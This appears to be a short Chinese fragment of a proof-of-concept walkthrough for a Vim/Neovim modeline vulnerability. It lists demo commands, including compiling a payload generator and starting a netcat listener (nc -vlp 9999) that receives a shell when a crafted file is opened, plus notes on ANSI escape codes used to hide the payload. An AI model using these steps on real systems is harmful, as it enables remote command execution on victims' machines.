该CVE在neovim 0.3.6和vim 8.1.1365之后被修复。
vim demo1.txt
gcc make_demo3.c -o make_demo3
./make_demo3
nc -vlp 9999
vim demo3.txt
之后,您可以在会话中执行任意Linux命令。
\x1b[?7l : 輸出到行末時不換行, 持續覆蓋最後一個字元\x1bS: STS, Set transmit state\x1b[1G: 移動到column 1\x1b[K: 刪除從目前游標位置至行末的所有字元